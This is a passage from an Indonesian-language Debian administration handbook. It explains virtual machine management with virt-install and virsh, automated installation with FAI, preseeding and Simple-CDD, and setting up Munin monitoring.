Karena KVM dikelola dengan cara yang sama seperti QEMU, --virt-type kvm mengizinkan menyatakan penggunaan KVM meskipun URL terlihat seperti QEMU.

Opsi --name mendefinisikan nama (unik) untuk mesin virtual.

Opsi --memory memungkinkan menentukan banyaknya RAM (dalam MB) yang dialokasikan untuk mesin virtual.

--disk menyatakan lokasi berkas image yang mewakili hard disk mesin virtual; berkas itu dibuat, kecuali sudah ada, dengan ukuran (dalam GB) yang ditentukan oleh parameter size. Parameter format memungkinkan memilih antara beberapa cara untuk menyimpan berkas image. Format default (qcow2) memungkinkan mulai dengan berkas kecil yang hanya tumbuh ketika mesin virtual mulai benar-benar menggunakan ruang.

Opsi --cdrom digunakan untuk menunjukkan di mana menemukan disk optik yang digunakan untuk instalasi. Path bisa berupa path lokal untuk berkas ISO, URL tempat berkas dapat diperoleh, atau perangkat berkas dari drive CD-ROM fisik (yaitu /dev/cdrom).

--network menyatakan bagaimana kartu jaringan virtual mengintegrasi dalam konfigurasi jaringan host. Perilaku default (yang secara eksplisit kita paksa dalam contoh kita) adalah mengintegrasikannya ke dalam jaringan bridge apapun yang sudah ada. Jika bridge seperti itu tidak ada, mesin virtual hanya akan mencapai jaringan fisik melalui NAT, sehingga mendapat alamat di subnet pribadi (192.168.122.0/24).

--graphics vnc menyatakan bahwa konsol grafis harus dibuat tersedia menggunakan VNC. Perilaku default untuk server VNC terkait adalah hanya mendengarkan pada antarmuka lokal; jika klien VNC akan dijalankan pada host yang berbeda, membuat koneksi akan memerlukan pengaturan tunnel SSH (lihat Bagian 9.2.1.3, “Menciptakan Tunnel Terenkripsi dengan Penerusan Port”). Sebagai alternatif, --graphics vnc,listen=0.0.0.0 dapat digunakan sehingga server VNC dapat diakses dari semua antarmuka; perhatikan bahwa jika Anda melakukannya, Anda benar-benar harus merancang firewall Anda sesuai dengan itu.

Pilihan --os-type dan --os-variant memungkinkan mengoptimalkan beberapa parameter mesin virtual, berdasarkan fitur yang dikenal dari sistem operasi yang disebutkan di sana.

Pada titik ini, mesin virtual sedang berjalan, dan kita perlu terhubung ke konsol grafis untuk melanjutkan dengan proses instalasi. Jika operasi sebelumnya berjalan dari lingkungan desktop grafis, hubungan ini harus secara otomatis dimulai. Jika tidak, atau jika kita beroperasi jarak jauh, virt-viewer dapat dijalankan dari setiap lingkungan grafis untuk membuka konsol grafis (perhatikan bahwa kata sandi root dari host remote diminta dua kali karena operasi memerlukan 2 koneksi SSH):

$ virt-viewer --connect qemu+ssh://root@server/system testkvm

root@server's password:

root@server's password:

Ketika proses instalasi berakhir, mesin virtual dijalankan ulang, sekarang siap untuk digunakan.

12.2.3.4. Mengelola Mesin dengan virsh

Sekarang setelah instalasi selesai, mari kita lihat bagaimana menangani mesin virtual yang tersedia. Hal pertama yang dicoba adalah untuk bertanya ke libvirtd daftar mesin virtual yang dikelolanya:

# virsh -c qemu:///system list --all

Id Name                 State

----------------------------------

8 testkvm              shut off

Mari kita mulai jalankan mesin virtual uji kita:

# virsh -c qemu:///system start testkvm

Domain testkvm started

Kita sekarang bisa mendapatkan petunjuk koneksi untuk konsol grafis (tampilan VNC yang dikembalikan dapat diberikan sebagai parameter ke vncviewer):

# virsh -c qemu:///system vncdisplay testkvm

127.0.0.1:0

Sub perintah virsh lain yang tersedia meliputi:

- reboot untuk memulai jalankan lagi sebuah mesin virtual;

- shutdown untuk memicu suatu shutdown yang bersih;

- destroy, untuk menghentikannya secara brutal;

- suspend untuk mengistirahatkannya;

- resume untuk melanjutkan dari istirahat;

- autostart untuk mengaktifkan (atau menonaktifkan, dengan pilihan --disable) memulai mesin virtual secara otomatis ketika host mulai;

- undefine untuk menghapus semua jejak mesin virtual dari libvirtd.

Semua sub perintah ini mengambil sebuah identifier mesin virtual sebagai parameter.

12.2.3.5. Instalasi sistem berbasis RPM dalam Debian dengan yum

Jika mesin virtual dimaksudkan untuk menjalankan Debian (atau salah satu turunannya), sistem dapat diinisialisasi dengan debootstrap, seperti dijelaskan di atas. Tetapi jika mesin virtual diinstal dengan sistem berbasis RPM (seperti Fedora, CentOS, atau Scientific Linux), penyiapan akan perlu dilakukan menggunakan utilitas yum (tersedia dalam paket dengan nama yang sama).

Prosedur tersebut perlu memakai rpm untuk mengekstrak set awal berkas, termasuk terutama berkas konfigurasi yum, dan kemudian memanggil yum untuk mengekstrak kumpulan paket sisanya. Tapi karena kita memanggil yum dari luar chroot, kita perlu membuat beberapa perubahan sementara. Dalam contoh di bawah ini, chroot target adalah /srv/centos.

# rootdir="/srv/centos"

# mkdir -p "$rootdir" /etc/rpm

# echo "%_dbpath /var/lib/rpm" > /etc/rpm/macros.dbpath

# wget http://mirror.centos.org/centos/7/os/x86_64/Packages/centos-release-7-6.1810.2.el7.centos.x86_64.rpm

# rpm --nodeps --root "$rootdir" -i centos-release-7-6.1810.2.el7.centos.x86_64.rpm

rpm: RPM should not be used directly install RPM packages, use Alien instead!

rpm: However assuming you know what you are doing...

warning: centos-release-7-6.1810.2.el7.centos.x86_64.rpm: Header V3 RSA/SHA256 Signature, key ID f4a80eb5: NOKEY

# sed -i -e "s,gpgkey=file:///etc/,gpgkey=file://${rootdir}/etc/,g" $rootdir/etc/yum.repos.d/*.repo

# yum --assumeyes --installroot $rootdir groupinstall core

[...]

# sed -i -e "s,gpgkey=file://${rootdir}/etc/,gpgkey=file:///etc/,g" $rootdir/etc/yum.repos.d/*.repo

12.3. Pemasangan Otomatis

Administrator Falcot Corp, seperti banyak administrator dari layanan TI yang besar, membutuhkan alat untuk menginstal (atau menginstal ulang) dengan cepat, dan secara otomatis jika mungkin, mesin-mesin baru mereka.

Persyaratan ini dapat dipenuhi oleh berbagai macam solusi. Di satu sisi, alat-alat generik seperti SystemImager menangani hal ini dengan menciptakan sebuah image yang didasarkan pada mesin templat, kemudian menyebarkan image ke sistem target; di ujung lain spektrum, penginstal Debian standar dapat diprabibit dengan berkas konfigurasi yang memberikan jawaban-jawaban untuk pertanyaan-pertanyaan yang ditanyakan selama proses instalasi. Sebagai semacam jalan tengah, alat hibrida seperti FAI (Fully Automatic Installer) menginstal mesin menggunakan sistem pemaketan, tetapi juga menggunakan infrastrukturnya sendiri untuk tugas-tugas yang lebih spesifik bagi penyebaran masif (seperti memulai, mempartisi, mengkonfigurasi, dan seterusnya).

Masing-masing solusi ini memiliki pro dan kontra: SystemImager bekerja secara independen dari sebarang sistem pemaketan tertentu, yang memungkinkan untuk mengatur set besar mesin menggunakan beberapa distro Linux yang berbeda. Ini juga mencakup sebuah sistem pemutakhiran yang tidak memerlukan instalasi ulang, tapi sistem pemutakhiran ini hanya dapat diandalkan jika mesin tidak diubah secara independen; dengan kata lain, pengguna harus tidak memperbarui perangkat lunak mereka sendiri, atau menginstal perangkat lunak lainnya. Demikian pula, pembaruan keamanan harus tidak otomatis, karena mereka harus pergi melalui image referensi terpusat yang dikelola oleh SystemImager. Solusi ini juga memerlukan mesin target yang homogen, bila tidak banyak image yang berbeda mesti disimpan dan dikelola (image i386 tidak akan cocok pada mesin powerpc, dan sebagainya).

Di sisi lain, instalasi otomatis menggunakan debian-installer dapat beradaptasi dengan spesifik dari setiap mesin: installer akan mengambil paket kernel dan perangkat lunak yang sesuai dari repositori yang relevan, mendeteksi perangkat keras yang tersedia, mempartisi seluruh hard disk untuk mengambil keuntungan dari semua ruang yang tersedia, menginstal sistem Debian yang sesuai, dan mengatur sebuah bootloader yang sesuai. Namun, pemasang standar hanya akan menginstal versi Debian standar, dengan sistem dasar dan satu set "tugas" yang terprapilih; ini menghalang menginstal sistem tertentu dengan aplikasi yang tidak dipaketkan. Memenuhi kebutuhan khusus ini memerlukan penyesuaian installer... Untungnya, installer sangat modular, dan ada alat untuk mengotomasi kebanyakan pekerjaan yang diperlukan untuk kustomisasi ini, yang paling penting simple-CDD (CDD adalah singkatan Custom Debian Derivative). Bahkan solusi simple-CDD, bagaimanapun, hanya menangani instalasi awal; hal ini biasanya tidak masalah karena perangkat APT memungkinkan penggelaran pemutakhiran yang efisien nanti.

Kita hanya akan memberikan gambaran kasar FAI, dan melewati SystemImager sama sekali (yang tidak ada lagi di Debian), agar fokus lebih bersungguh-sungguh pada debian-installer dan simple-CDD, yang lebih menarik dalam konteks hanya Debian.

12.3.1. Fully Automatic Installer (FAI, Pemasang Otomatis Sepenuhnya)

Fully Automatic Installer mungkin adalah sistem penggelaran otomatis tertua untuk Debian, yang menjelaskan statusnya sebagai referensi; tetapi sifatnya yang sangat fleksibel hanya mengkompensasi kompleksitas yang melibatkannya.

FAI memerlukan sebuah sistem server untuk menyimpan informasi penggelaran dan memungkinkan mesin target untuk boot dari jaringan. Server ini memerlukan paket fai-server (atau fai-quickstart, yang juga membawa elemen-elemen yang diperlukan untuk sebuah konfigurasi standar).

FAI menggunakan pendekatan khusus untuk menentukan berbagai profil yang dapat diinstal. Bukan hanya menduplikasi sebuah referensi instalasi, FAI adalah sebuah installer penuh, sepenuhnya dikonfigurasi melalui serangkaian berkas dan skrip yang disimpan di server; lokasi default /srv/fai/config/ tidak secara otomatis diciptakan, sehingga administrator perlu menciptakannya beserta berkas-berkas yang relevan. Hampir setiap kali, berkas-berkas ini akan disesuaikan dari berkas contoh yang tersedia dalam dokumentasi untuk paket fai-doc, khususnya direktori /usr/share/doc/fai-doc/examples/simple/.

Sekali profil didefinisikan, perintah fai-setup menghasilkan unsur-unsur yang diperlukan untuk memulai instalasi FAI; ini sebagian besar berarti mempersiapkan atau memperbarui sistem minimal (NFS-root) yang digunakan selama instalasi. Satu alternatif adalah untuk menghasilkan CD boot tededikasi dengan fai-cd.

Menciptakan semua berkas konfigurasi ini memerlukan pemahaman tentang cara FAI bekerja. Suatu proses instalasi biasanya tersusun dari langkah-langkah berikut:

- mengambil sebuah kernel dari jaringan, dan mem-boot itu;

- mengait sistem berkas root dari NFS;

- mengeksekusi /usr/sbin/fai, yang mengontrol seluruh proses (langkah berikutnya karena itu diprakarsai oleh skrip ini);

- menyalin ruang konfigurasi dari server ke /fai/;

- menjalankan fai-class. Skrip /fai/class/[0-9][0-9]* dijalankan sesuai gilirannya, dan mengembalikan nama "kelas" yang berlaku untuk mesin yang diinstal; informasi ini akan berfungsi sebagai dasar untuk langkah-langkah berikut. Hal ini memungkinkan untuk beberapa fleksibilitas dalam mendefinisikan layanan yang akan diinstal dan dikonfigurasi.

- mengambil sejumlah variabel konfigurasi, tergantung pada kelas yang relevan;

- mempartisi disk dan memformat partisi, berdasarkan informasi yang diberikan dalam /fai/disk_config/kelas;

- mengaitkan partisi yang disebut;

- memasang sistem dasar;

- memprabibit basis data Debconf dengan fai-debconf;

- mengambil daftar paket yang tersedia untuk APT;

- menginstal paket-paket yang tercantum dalam /fai/package_config/kelas;

- menjalankan skrip pasca konfigurasi, /fai/scripts/kelas/[0-9][0-9]*;

- merekam log instalasi, melepas kait partisi, dan reboot.

12.3.2. Memprabibit Debian-Installer

Pada akhir hari, alat yang terbaik untuk menginstal sistem Debian secara logis mestinya adalah Debian installer yang resmi. Inilah mengapa, sejak dari awal, debian-installer telah dirancang untuk penggunaan otomatis, mengambil keuntungan dari infrastruktur yang disediakan oleh debconf. Yang kedua memungkinkan, di satu sisi, untuk mengurangi jumlah pertanyaan yang diajukan (pertanyaan-pertanyaan tersembunyi akan menggunakan jawaban default yang disediakan), dan di sisi lain, untuk menyediakan jawaban default secara terpisah, sehingga instalasi bisa non-interaktif. Fitur terakhir ini dikenal sebagai preseeding.

LEBIH JAUH Debconf dengan suatu basis data terpusat

Prabibit memungkinkan untuk memberikan serangkaian jawaban ke pertanyaan Debconf pada saat instalasi, tetapi jawaban ini bersifat statis dan tidak berkembang seiring berjalannya waktu. Karena mesin yang sudah terpasang mungkin perlu ditingkatkan, dan jawaban baru dapat menjadi diperlukan, berkas konfigurasi /etc/debconf.conf dapat mengatur sehingga Debconf menggunakan sumber data eksternal (seperti sebuah direktori LDAP server, atau berkas jarak jauh yang diakses melalui NFS atau Samba). Beberapa sumber data eksternal dapat didefinisikan pada saat yang sama, dan mereka melengkapi satu sama lain. Basis data lokal masih digunakan (untuk akses baca-tulis), tetapi basis data jarak jauh biasanya dibatasi untuk hanya baca. Halaman manual debconf.conf(5) menjelaskan semua kemungkinan secara rinci (Anda perlu paket debconf-doc).

12.3.2.1. Menggunakan Berkas Preseed

Ada beberapa tempat dimana installer bisa memperoleh berkas preseed:

- di initrd yang digunakan untuk memulai mesin; dalam kasus ini, prabibit terjadi pada awal instalasi, dan semua pertanyaan dapat dihindari. Berkas hanya perlu disebut preseed.cfg dan disimpan dalam root initrd.

- pada media boot (CD atau kunci USB); prabibit kemudian terjadi segera setelah media dipasang, yang berarti tepat setelah pertanyaan tentang bahasa dan tata letak papan ketik. Parameter boot preseed/file dapat digunakan untuk menunjukkan lokasi berkas prabibit (misalnya, /cdrom/preseed.cfg ketika instalasi dilakukan dari CD-ROM, atau /hd-media/preseed.cfg dalam kasus kunci USB).

- dari jaringan; prabibit kemudian hanya terjadi setelah jaringan (secara otomatis) dikonfigurasi; parameter boot yang relevan adalah kemudian preseed/url=http://server/preseed.cfg.

Sekilas, menyertakan berkas prabibit di initrd tampak seperti solusi yang paling menarik; namun, ini jarang digunakan dalam praktek, karena menghasilkan installer initrd agak rumit. Kedua solusi yang lain lebih umum, terutama karena parameter boot menyediakan cara lain untuk memprabibit jawaban atas pertanyaan pertama dari proses instalasi. Cara yang biasa untuk menghindari kerepotan mengetik parameter boot ini di setiap instalasi adalah dengan menyimpan mereka ke dalam konfigurasi untuk isolinux (dalam kasus CD-ROM) atau syslinux (kunci USB).

12.3.2.2. Membuat Berkas Preseed

Prabibit adalah berkas teks biasa, dimana setiap baris berisi jawaban atas satu pertanyaan Debconf. Baris dipecah ke empat bidang yang dipisahkan oleh spasi atau tab, seperti, misalnya, d-i mirror/suite string stable:

- bidang pertama adalah "pemilik" pertanyaan; "d-i" digunakan untuk pertanyaan-pertanyaan yang relevan dengan installer, tetapi juga bisa berupa nama paket untuk pertanyaan-pertanyaan yang datang dari paket-paket Debian;

- ruas kedua adalah pengidentifikasi untuk pertanyaan;

- ketiga, jenis pertanyaan;

- ke empat dan ruas terakhir memuat nilai untuk jawaban. Perhatikan bahwa ini harus dipisahkan dari ruas ke tiga dengan satu spasi; jika ada lebih dari satu, karakter spasi yang mengikuti dianggap bagian dari nilai.

Cara termudah untuk menulis berkas preseed adalah untuk menginstal sebuah sistem dengan tangan. Kemudian debconf-get-selections --installer akan memberikan jawaban tentang installer. Jawaban tentang paket lainnya dapat diperoleh dengan debconf-get-selections. Namun, solusi yang lebih bersih adalah dengan menulis berkas preseed dengan tangan, mulai dari contoh dan dokumentasi referensi: dengan pendekatan seperti itu, hanya pertanyaan yang jawaban bakunya perlu ditimpa dapat diprabibit; menggunakan parameter boot priority=critical akan menginstruksikan Debconf untuk hanya mengajukan pertanyaan yang kritis, dan menggunakan jawaban baku bagi yang lain.

DOKUMENTASI Lampiran panduan instalasi

Panduan instalasi, tersedia secara daring, termasuk dokumentasi yang rinci tentang penggunaan berkas preseed dalam sebuah lampiran. Ini juga mencakup sebuah sampel rinci dan komentar berkas, yang dapat berfungsi sebagai dasar untuk kustomisasi lokal.

→ https://www.debian.org/releases/stable/amd64/apb

→ https://www.debian.org/releases/stable/example-preseed.txt

12.3.2.3. Membuat sebuah Media Boot Ubahan

Mengetahui di mana untuk menyimpan berkas preseed itu baik, tapi lokasi bukan segalanya: kita harus, dengan satu cara atau lainnya, mengubah media boot instalasi untuk mengubah parameter boot dan menambahkan berkas preseed.

12.3.2.3.1. Boot dari Jaringan

Ketika komputer di-boot dari jaringan, server mengirimkan elemen inisialisasi juga mendefinisikan parameter boot. Dengan demikian, perubahan perlu dibuat dalam konfigurasi PXE untuk server boot; lebih khusus lagi, dalam berkas konfigurasi /tftpboot/pxelinux.cfg/default. Pengaturan boot jaringan merupakan prasyarat; lihat Panduan Instalasi untuk rincian.

→ https://www.debian.org/releases/stable/amd64/ch04s05

12.3.2.3.2. Mempersiapkan sebuah Flash Disk USB yang Dapat Di-boot

Setelah kunci USB disiapkan (lihat Bagian 4.1.2, “Mem-boot dari Flash Disk USB”), diperlukan beberapa operasi tambahan. Dengan asumsi kunci isi tersedia dalam /media/usbdisk/:

- salin berkas preseed ke /media/usbdisk/preseed.cfg

- edit /media/usbdisk/syslinux.cfg dan tambahkan parameter boot yang diperlukan (lihat contoh di bawah).

Contoh 12.2. berkas syslinux.cfg dan parameter preseed

default vmlinuz

append preseed/file=/hd-media/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 initrd=initrd.gz  --

12.3.2.3.3. Membuat suatu Image CD-ROM

Kunci USB adalah media baca-tulis, jadi mudah bagi kita untuk menambahkan berkas ke sana dan mengubah beberapa parameter. Dalam kasus CD-ROM, operasi lebih kompleks, karena kita perlu melakukan regenerasi image ISO penuh. Tugas ini ditangani oleh debian-cd, tapi alat ini agak aneh untuk digunakan: dibutuhkan cermin lokal, dan itu memerlukan pemahaman tentang semua pilihan yang disediakan oleh /usr/share/debian-cd/CONF.sh; bahkan kemudian, make harus dipanggil beberapa kali. /usr/share/debian-cd/README sangat dianjurkan untuk dibaca.

Setelah itu semua, debian-cd selalu beroperasi dengan cara yang sama: direktori "image" dengan isi eksak CD-ROM dibuat, lalu dikonversi ke berkas ISO dengan alat seperti genisoimage, mkisofs, atau xorriso. Direktori image diselesaikan setelah langkah make image-trees debian-cd. Pada saat itu, kita menyisipkan berkas preseed ke dalam direktori yang sesuai (biasanya $TDIR/$CODENAME/CD1/, $TDIR dan $CODENAME adalah parameter yang didefinisikan oleh berkas konfigurasi CONF.sh). CD-ROM menggunakan isolinux sebagai bootloader, dan berkas konfigurasinya harus diadaptasi dari apa yang dihasilkan oleh debian-cd, untuk memasukkan parameter boot yang diperlukan (berkas tepatnya adalah $TDIR/$CODENAME/boot1/isolinux/isolinux.cfg). Kemudian proses "normal" dapat dilanjutkan, dan kita dapat meneruskan menghasilkan image ISO dengan make image CD=1 (atau make images jika ada beberapa CD-ROM yang dihasilkan).

12.3.3. Simple-CDD: Solusi Semua-Jadi-Satu

Hanya menggunakan berkas preseed ini tidak cukup untuk memenuhi semua persyaratan yang mungkin muncul untuk penggelaran besar. Meskipun dimungkinkan untuk mengeksekusi beberapa skrip pada akhir proses penginstalan normal, pemilihan set paket yang akan diinstal ini tetap tidak cukup fleksibel (pada dasarnya, hanya "task" yang dapat dipilih); lebih penting, ini hanya memungkinkan menginstal paket-paket Debian yang resmi, dan mencegah dipasangnya yang dihasilkan secara lokal.

Di sisi lain, debian-cd mampu mengintegrasikan paket eksternal, dan debian-installer dapat diperluas dengan memasukkan langkah-langkah baru dalam proses instalasi. Dengan menggabungkan kemampuan-kemampuan ini, seharusnya mungkin untuk menciptakan sebuah installer yang disesuaikan yang memenuhi kebutuhan kita; itu bahkan dapat mengkonfigurasi beberapa layanan setelah membuka paket yang diperlukan. Untungnya, hal ini tidak hanya sebuah hipotesis, karena ini adalah persis apa yang dilakukan oleh Simple-CDD (dalam paket simple-cdd).

Tujuan Simple-CDD adalah untuk memungkinkan orang agar dengan mudah membuat distribusi yang berasal dari Debian, dengan memilih subset dari paket yang tersedia, memprakonfigurasi mereka dengan Debconf, menambahkan perangkat lunak khusus, dan menjalankan skrip-skrip ubahan pada akhir proses instalasi. Ini sesuai dengan filosofi "sistem operasi universal", karena siapa pun dapat mengadaptasi ke kebutuhan mereka sendiri.

12.3.3.1. Menciptakan Profil

Simple-CDD mendefinisikan "profil" yang sesuai dengan konsep "kelas" FAI, dan sebuah mesin dapat memiliki beberapa profil (yang ditentukan pada saat instalasi). Profil didefinisikan oleh satu set berkas profiles/profil.*:

- berkas .description berisi satu baris deskripsi untuk profil;

- berkas .packages berisi daftar paket yang akan secara otomatis diinstal jika profil dipilih;

- berkas .downloads berisi daftar paket yang akan disimpan ke media instalasi, tetapi tidak harus diinstal;

- berkas .preseed berisi informasi preseed untuk pertanyaan Debconf (untuk installer dan atau paket);

- berkas .postinst berisi skrip yang akan dijalankan pada akhir proses instalasi;

- terakhir, berkas .conf memungkinkan mengubah beberapa parameter Simple-CDD berdasarkan profil yang akan dimasukkan ke dalam image.

Profil default memiliki peran tertentu, karena selalu dipilih; ini berisi minimal yang diperlukan oleh Simple-CDD untuk bekerja. Satu-satunya hal yang biasanya disesuaikan dalam profil ini adalah parameter preseed simple-cdd/profiles: hal ini memungkinkan menghindari pertanyaan, diperkenalkan oleh Simple-CDD, tentang profil apa yang akan dipasang.

Perhatikan juga bahwa perintah akan perlu dijalankan dari direktori induk direktori profil.

12.3.3.2. Mengkonfigurasi dan Menggunakan build-simple-cdd

LIHAT SEKILAS Berkas konfigurasi rinci

Contoh berkas konfigurasi Simple-CDD, dengan semua parameter yang mungkin, disertakan dalam paket (/usr/share/doc/simple-cdd/examples/simple-cdd.conf.detailed.gz). Ini dapat digunakan sebagai titik awal ketika membuat berkas konfigurasi ubahan.

Simple-CDD memerlukan banyak parameter untuk beroperasi secara penuh. Mereka akan paling sering dikumpulkan dalam berkas konfigurasi, yang dapat diarahkan ke build-simple-cdd dengan opsi --conf, tetapi mereka dapat juga ditentukan melalui parameter khusus yang diberikan kepada build-simple-cdd . Berikut ini adalah gambaran bagaimana perintah ini berperilaku, dan bagaimana parameternya digunakan:

- parameter profil memuat daftar profil yang akan disertakan pada CD-ROM image yang dihasilkan;

- berdasarkan daftar paket yang diperlukan, Simple-CDD mengunduh berkas-berkas yang sesuai dari server yang disebutkan di server, dan mengumpulkan mereka menjadi cermin parsial (yang akan kemudian diberikan kepada debian-cd);

- paket ubahan yang dicantumkan dalam local_packages juga diintegrasikan ke dalam cermin lokal ini;

- debian-cd kemudian dijalankan (dalam lokasi baku yang dapat dikonfigurasi dengan variabel debian_cd_dir), dengan daftar paket untuk diintegrasikan;

- setelah debian-cd menyiapkan direktorinya, Simple-CDD menerapkan beberapa perubahan ke direktori ini:

- berkas yang berisi profil ditambahkan dalam subdirektori simple-cdd (yang akan berakhir pada CD-ROM);

- berkas lain yang tercantum dalam all_extras parameter juga ditambahkan;

- parameter boot disesuaikan sehingga memungkinkan preseed. Pertanyaan mengenai bahasa dan negara dapat dihindari jika informasi yang diperlukan disimpan dalam variabel language dan country.

- debian-cd kemudian menghasilkan image ISO akhir.

12.3.3.3. Menghasilkan suatu Image ISO

Setelah kita menulis berkas konfigurasi dan mendefinisikan profil, langkah yang tersisa adalah untuk menjalankan build-simple-cdd --conf simple-cdd.conf. Setelah beberapa menit, kita mendapatkan image yang diperlukan di images/debian-10.0-amd64-CD-1.iso.

12.4. Pemantauan

Pemantauan adalah istilah umum, dan berbagai kegiatan yang dilibatkan memiliki beberapa tujuan: di satu sisi, mengikuti penggunaan sumber daya yang disediakan oleh sebuah mesin memungkinkan mengantisipasi saturasi dan peningkatan berikutnya yang diperlukan; di sisi lain, memperingatkan administrator segera setelah layanan ini tidak tersedia atau tidak berfungsi sebagaimana mestinya berarti bahwa masalah yang terjadi dapat lebih cepat diperbaiki.

Munin mencakup area pertama dengan menampilkan bagan grafis untuk riwayat nilai dari sejumlah parameter (RAM yang digunakan, ruang disk yang ditempati, beban prosesor, trafik jaringan, beban Apache/MySQL, dan seterusnya). Nagios mencakup daerah yang kedua, dengan secara teratur memeriksa bahwa layanan bekerja dan tersedia, dan mengirimkan peringatan melalui saluran yang tepat (surel, pesan teks, dan sebagainya). Keduanya memiliki desain modular, yang membuat mudah untuk menciptakan plug-in baru untuk memantau parameter atau layanan tertentu.

ALTERNATIF Zabbix, alat pemantauan terintegrasi

Meskipun Munin dan Nagios sangat umum digunakan, bukan hanya mereka pemain di bidang pemantauan, dan masing-masing hanya menangani setengah dari tugas (menggambar grafik di satu sisi, memperingatkan di yang lain). Zabbix, di sisi lain, mengintegrasikan kedua bagian dari pengawasan; ini juga memiliki antarmuka web untuk mengkonfigurasi aspek yang paling umum. Itu telah berkembang pesat selama beberapa tahun terakhir, dan sekarang dapat dianggap sebagai pesaing yang layak. Di server pemantauan, Anda akan memasang zabbix-server-pgsql (atau zabbix-server-mysql), mungkin bersama dengan zabbix-frontend-php agar memiliki antarmuka web. Pada host yang dipantau Anda akan memasang zabbix-agent yang mengumpan data kembali ke server.

→ https://www.zabbix.com/

ALTERNATIF Icinga, suatu fork Nagios

Didorong oleh keragaman dalam pendapat mengenai model pembangunan untuk Nagios (yang dikendalikan oleh perusahaan), sejumlah pengembang mem-fork Nagios dan menggunakan Icinga sebagai nama baru mereka. Icinga masih kompatibel — sejauh ini — dengan konfigurasi dan plugin Nagios, tetapi juga menambahkan fitur.

→ https://www.icinga.org/

12.4.1. Menyiapkan Munin

Tujuan dari Munin adalah untuk memantau banyak mesin; oleh karena itu, cukup alami menggunakan arsitektur klien server. Host pusat — grapher — mengumpulkan data dari semua host yang dipantau, dan menghasilkan grafik historis.

12.4.1.1. Mengkonfigurasi Host yang Akan Dimonitor

Langkah pertama adalah untuk menginstal paket munin-node. Daemon yang diinstal oleh paket ini mendengarkan pada port 4949 dan mengirimkan kembali data yang dikumpulkan oleh semua plugin aktif. Masing-masing plugin adalah program sederhana yang mengembalikan deskripsi dari data yang dikumpulkan serta nilai yang terakhir diukur. Plugin disimpan dalam /usr/share/munin/plugins/, tetapi hanya yang memiliki symlink di /etc/munin/plugins/ yang benar-benar digunakan.

Ketika paket terinstal, set plugin aktif ditentukan berdasarkan perangkat lunak yang tersedia dan konfigurasi host saat ini. Namun, konfigurasi otomatis ini tergantung pada fitur yang harus disediakan oleh setiap plugin, dan biasanya ide yang baik untuk meninjau dan menala hasil dengan tangan. Meramban Galeri Pengaya[4] dapat menarik meskipun tidak semua plugin memiliki dokumentasi yang komprehensif. Namun, semua plugin adalah skrip dan kebanyakan cukp sederhana dan dikomentari dengan baik. Karena itu meramban /etc/munin/plugins/ adalah cara yang baik untuk mendapatkan ide tentang apa masing-masing plugin tersebut dan menentukan mana yang harus dihapus. Demikian pula, memfungsikan plugin menarik yang ditemukan di /usr/share/munin/plugins/ adalah sekadar menyiapkan sebuah taut simbolik dengan ln -sf /usr/share/munin/plugins/plugin /etc/munin/plugins/. Perhatikan bahwa ketika nama plugin berakhir dengan tanda garis bawah "_", plugin memerlukan parameter. Parameter ini harus disimpan dalam nama taut simbolik; Misalnya, plugin "if_" harus diaktifkan dengan taut simbolik if_eth0, dan itu akan memantau lalu lintas jaringan pada antarmuka eth0.

Setelah semua plugin yang benar diatur, konfigurasi daemon harus diperbarui untuk menggambarkan kontrol akses untuk data yang dikumpulkan. Ini melibatkan direktif allow dalam berkas /etc/munin/munin-node.conf. Konfigurasi default adalah allow ^127\.0\.0\.1$, dan hanya mengizinkan akses ke host lokal. Administrator biasanya akan menambahkan baris serupa yang berisi alamat IP host grapher, kemudian menjalankan ulang daemon dengan systemctl restart munin-node.

LEBIH JAUH Membuat plugin lokal

Munin termasuk dokumentasi yang rinci tentang bagaimana plugin seharusnya bersikap, dan bagaimana untuk mengembangkan plugin baru.

→ http://guide.munin-monitoring.org/en/latest/plugin/writing.html

Sebuah plugin terbaik diuji ketika dijalankan dalam kondisi yang sama dengan ketika dipicu oleh munin-node; ini bisa disimulasikan dengan menjalankan munin-runplugin sebagai root. Parameter potensial kedua yang diberikan kepada perintah ini (seperti misalnya config) dilewatkan ke plugin sebagai parameter.

Ketika sebuah plugin dipanggil dengan parameter config, itu harus menguraikan dirinya sendiri dengan mengembalikan sekumpulan ruas:

$ sudo munin-run load config

graph_title Load average

graph_args --base 1000 -l 0

graph_vlabel load

graph_scale no

graph_category system

load.label load

graph_info The load average of the machine describes how many processes are in the run-queue (scheduled to run "immediately").

load.info 5 minute load average

Berbagai ruas yang tersedia dijelaskan oleh "Referensi plugin" yang tersedia sebagai bagian dari "Panduan Munin".

→ https://munin.readthedocs.org/en/latest/reference/plugin.html

Ketika dipanggil tanpa parameter, plugin hanya mengembalikan nilai yang terakhir diukur; misalnya, menjalankan sudo munin-run load bisa mengembalikan load.value 0.12.

Akhirnya, ketika sebuah plugin dipanggil dengan parameter autoconf, itu harus mengembalikan "yes" (dan status keluar 0) atau "no" (dengan status keluar 1) sesuai dengan apakah plugin harus diaktifkan pada host ini.

12.4.1.2. Mengkonfigurasi Pembuat Grafik

"grapher" adalah sekadar komputer yang mengumpulkan data dan menghasilkan grafik yang sesuai. Perangkat lunak yang diperlukan adalah dalam paket munin. Konfigurasi standar menjalankan munin-cron (sekali setiap 5 menit), yang mengumpulkan data dari semua host yang tercantum dalam /etc/munin/munin.conf (hanya host lokal yang tercantum secara default), menyimpan data historis di berkas RRD (Round Robin Database, sebuah format berkas yang dirancang untuk menyimpan data yang bervariasi dalam waktu) disimpan di bawah /var/lib/munin/ dan menghasilkan halaman HTML dengan grafik di /var/cache/munin/www/.

Semua mesin yang dipantau oleh karena itu harus tercantum dalam berkas konfigurasi /etc/munin/munin.conf. Setiap mesin didaftar sebagai bagian penuh dengan suatu nama yang cocok dengan mesin dan setidaknya entri address yang memberikan alamat IP yang sesuai.

[ftp.falcot.com]

address 192.168.0.12

use_node_name yes

Seksi dapat menjadi lebih kompleks, dan menggambarkan grafik tambahan yang dapat dibuat dengan menggabungkan data yang berasal dari beberapa mesin. Sampel yang disediakan di berkas konfigurasi adalah titik awal yang baik untuk kustomisasi.

Langkah terakhir adalah untuk mempublikasikan halaman yang dihasilkan; ini melibatkan mengkonfigurasi server web sehingga isi /var/cache/munin/www/ menjadi tersedia di situs web. Akses ke situs web ini akan sangat dibatasi, menggunakan mekanisme otentikasi atau kontrol akses berbasis IP. Lihat Bagian 11.2, “Server Web (HTTP)” untuk rincian yang relevan.

12.4.2. Menyiapkan Nagios

